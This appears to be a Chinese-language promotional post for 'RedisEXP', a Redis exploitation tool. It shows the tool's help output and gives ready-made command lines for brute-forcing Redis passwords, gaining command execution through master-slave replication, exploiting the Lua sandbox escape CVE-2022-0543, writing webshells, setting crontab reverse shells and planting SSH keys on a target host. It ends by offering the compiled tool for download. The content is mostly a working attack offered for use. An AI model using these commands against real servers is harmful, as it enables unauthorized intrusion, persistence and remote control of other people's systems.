0x01 工具介绍
Redis 漏洞利用工具。
λ RedisEXP.exe -h██████╗ ███████╗██████╗ ██╗███████╗ ███████╗██╗ ██╗██████╗██╔══██╗██╔════╝██╔══██╗██║██╔════╝ ██╔════╝╚██╗██╔╝██╔══██╗██████╔╝█████╗ ██║ ██║██║███████╗ █████╗ ╚███╔╝ ██████╔╝██╔══██╗██╔══╝ ██║ ██║██║╚════██║ ██╔══╝ ██╔██╗ ██╔═══╝██║ ██║███████╗██████╔╝██║███████║ ███████╗██╔╝ ██╗██║╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝ ╚══════╝╚═╝ ╚═╝╚═╝Usage of RedisEXP.exe:-brute爆破 Redis 密码-c string执行命令 (default "whoami")-cli执行 Redis 命令-console使用交互式 shell-crontabLinux 定时任务反弹 Shell (crontab.txt)-exec主从复制-命令执行-lfile string需要上传的文件名-lhost string本地 IP-lport string本地端口 (default "21000")-luaLua沙盒绕过命令执行 CVE-2022-0543-pwd string设置密码-pwdf string设置密码字典-rfile string保存在目标的文件名-rhost string目标 IP-rpath string保存在目标的目录 (default ".")-rport string目标端口 (default "6379")-shell备份写 Webshell (shell.txt)-show工具利用命令帮助-slaveof关闭主从复制-so string设置 exp.dll | exp.so (default "exp.dll")-sshLinux写 SSH 公钥 (ssh.txt)-upload主从复制-文件上传
0x02 安装与使用
常用命令:
主从复制命令执行:RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -execRedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -consoleLinux:RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -so exp.soRedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console -so exp.so主从复制文件上传:RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -rfile dump.rdb -lfile dump.rdb -upload主动关闭主从复制:RedisExp.exe -rhost 192.168.211.131 -slaveofLua沙盒绕过命令执行 CVE-2022-0543:RedisExp.exe -rhost 192.168.211.131 -lua -console备份写 Webshell:RedisExp.exe -rhost 192.168.211.131 -shellLinux 写计划任务:RedisExp.exe -rhost 192.168.211.131 -crontabLinux 写 SSH 公钥:RedisExp.exe -rhost 192.168.211.131 -ssh爆破 Redis 密码:RedisExp.exe -rhost 192.168.211.131 -brute -pwdf ../pass.txt执行 Redis 命令:RedisExp.exe -rhost 192.168.211.131 -cli
0x03 项目链接下载
2、编译好的工具需要自取
点击下方名片回复" Redis666"获取